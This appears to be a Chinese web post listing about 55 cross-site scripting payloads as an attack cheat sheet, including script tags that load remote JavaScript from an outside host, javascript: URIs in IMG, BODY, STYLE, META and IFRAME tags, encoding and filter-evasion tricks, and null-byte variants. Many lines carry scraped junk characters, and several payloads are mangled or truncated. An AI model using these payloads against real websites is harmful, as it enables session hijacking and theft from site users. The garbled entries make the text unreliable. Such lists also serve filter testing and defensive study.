XSS攻击汇总

admin

(1)普通的XSS JavaScript注入
* n  G9 F  j6 _9 z1 p8 h<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(99)另类弹框
<q/oncut=alert()>1
<s/onclick=alert()>b
<XSS=" onclick="alert(1)//">clickme</SSX=">
<zzz onclick=alert`1`>clickme</zzz>
<a onclick=alert`1`>clickme</a>
<a=">clickme</a=">
8 s4 B- @: I, |7 V7 f<a=">clickme</a>
' ^4 q' |% h7 o- w, u<z=">clickme</z=">
9 u! g/ c% {% N& X$ @2 n<z onclick=alert`1`>clickme</z>
/ h7 I, H0 J% A2 t
$ o) N# D: w6 L$ P, w/ \(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

. C9 r  A/ ~9 F3 U& `(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
( }* X( F; U  H0 _" B
8 y, Y! m  m* c" [9 H+ f* @2 j(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
. o( Y- d" f' p# f: _
7 T$ v/ q! {$ F/ {9 R- n(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>

9 s, C( M, }5 l  e/ S+ t(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
3 h3 i4 |( X7 S) ^9 F: w
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
3 |6 I+ {0 I+ q4 P$ d  p3 i
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>
* @; ~9 ]) @2 F2 s+ b
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
0 ?) s  F; f6 C<IMG SRC=jav..省略..S')>
& e: l1 x. J  S
$ H8 O" X2 k" g(10)十六进制编码也是没有分号(计算器)
<IMG SRC=\'#\'" /span>
% H1 A: N0 G0 g3 ~
(11)嵌入式标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开
: q, ~6 i$ k  R$ a; R. ^<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

, x! X/ g5 d5 ~5 K(13)嵌入式换行符
/ Q8 K6 ]. z/ c. [<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
. h6 G* }% \" z  P4 A
* X, V9 K2 x. r, ?5 K(14)嵌入式回车
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

' g" B8 q* T2 U(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>
- ^2 |7 o4 R: O+ Q
- W6 N+ s' E" _! e. @7 o(16)解决限制字符(要求同页面)
8 s: X) X3 Q0 t/ o, b6 s<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
* _3 E! v0 W9 P) t# B' ?" ?<script>z=z+’<script’</script>
9 w8 c) M2 c6 W, }9 N<script>z=z+’ src=ht’</script>
4 `1 C& u$ _+ Y7 P$ \<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
3 ~9 K! T2 A- F% n<script>z=z+’js></sc’</script>
/ P/ d$ d+ m  P0 ~" T/ I<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
/ G+ T3 ?3 Q+ w' }$ P  v5 C9 n/ ]
(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
1 j2 @- o6 w- B( n- X9 J
(19)Spaces和meta前的IMG标签
, r, o# }/ m3 U<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
3 k! s7 H5 I5 `4 }+ m
(20)Non-alpha-non-digit XSS
, Z& C( n7 f# O0 Q% H<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
" F  d( ?' }3 W! [- \6 ]
, w' n+ H" T& Z(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
5 u% a  K2 o% k" p<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
+ A1 C5 |* M# n$ u  r9 d) t. d
(23)双开括号
, s6 v1 C/ j! Z8 @' C' F<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)
* ]$ e' o# x: g: f<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
) D5 q* _  E7 j+ {
$ f+ \, u6 [% U4 q(25)无结束脚本标记2
6 G* U: {9 T1 z4 |/ O<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS
+ {. \, m* ^0 a6 {: ?  M: L% V<IMG SRC=\'#\'" /span>

* i9 H9 Y, K8 C: j(27)双开角括号
& o3 u( _! e1 K, V# i9 Y<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号
6 `9 n% P$ Y( w% r/ w<SCRIPT>a=/XSS/
2 H4 k& c& l9 o' R# v3 E7 {alert(a.source)</SCRIPT>

$ e9 J, P: @: s(29)换码过滤的JavaScript
: K; Q( ]8 i$ H7 Y\”;alert(‘XSS’);//
& n. N) U2 J; H. u& S
- ?' x! |4 F8 X5 {0 X(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image
<INPUT SRC=\'#\'" /span>
! ]* ~/ k5 f# A% t7 x
+ l' `. |1 e8 y3 d1 t) L$ f5 d% S5 G2 a(32)BODY Image
4 ^- X' I4 [9 f4 @<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签
! ^' }% Y5 W; E" V( Q<BODY(‘XSS’)>
, [& D+ Z, v' @
9 w3 [4 K9 K+ ^+ z  s$ O8 d( K, |(34)IMG Dynsrc
- C& G0 _& ?% V5 X<IMG DYNSRC=\'#\'" /span>
; k+ _$ n% u9 p' e
(35)IMG Lowsrc
, O! o+ Q% G1 ~  z. p<IMG LOWSRC=\'#\'" /span>
4 }9 P: x* c; d+ ^! t: Q$ O0 n/ M
: i: u' v. [1 h2 q  X% d6 h(36)BGSOUND
7 X% R1 l1 B5 g<BGSOUND SRC=\'#\'" /span>
/ E3 ^" {  P5 F0 l
% G* S, n7 O; Y6 {0 V(37)STYLE sheet
" b+ q+ f- I% n9 i5 D2 G% t<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

. U; \0 j" b7 p2 \% r$ }(38)远程样式表
2 J, V; ~! m8 Z<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>

(39)List-style-image(列表式)
) O3 u# O5 Q- K6 _2 Z* x4 P<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
, ^6 \' ~/ y1 p& O2 c
+ r, j( O- J: q5 @  q(40)IMG VBscript
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS

7 ^# v0 M9 g' C7 r) b(41)META链接url
8 u# O6 W; O. U' \$ J: S<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
<IFRAME SRC=\'#\'" /IFRAME>
8 W$ i8 [" Q8 u1 A9 N' \- H8 L% i
(43)Frame
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>

! {7 x/ d5 j; C' x1 h& N(44)Table
  A8 }% q1 I0 B<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
  E# K# k" b8 d0 h% K
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

1 M: K5 w' L1 P/ J- z3 p) ^(46)DIV background-image
! |+ i) D7 K: m. V7 w: K/ q<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

) A" R  K" c, d) R& G7 Z7 R(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(
javascript:alert(‘XSS’))”>
8 t5 B& N6 M: J
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
) Y9 i! c) a- y/ P
(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
' r  N9 P  ?% N7 L
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
0 {. l( K1 S' ~2 f
(52)IMG STYLE方式
! ]# [, n' }: d+ ], z" ]exppression(alert(“XSS”))’>
; U2 m( F- \: N% M- l
: }- I; B) y' m% f(53)STYLE background
+ h6 `0 e9 ]! j) w, K<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE
1 s2 U! {0 U0 H4 w) Z' B<BASE HREF=”javascript:alert(‘XSS’);//”>
5 M% P+ W4 o- R* L& M
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>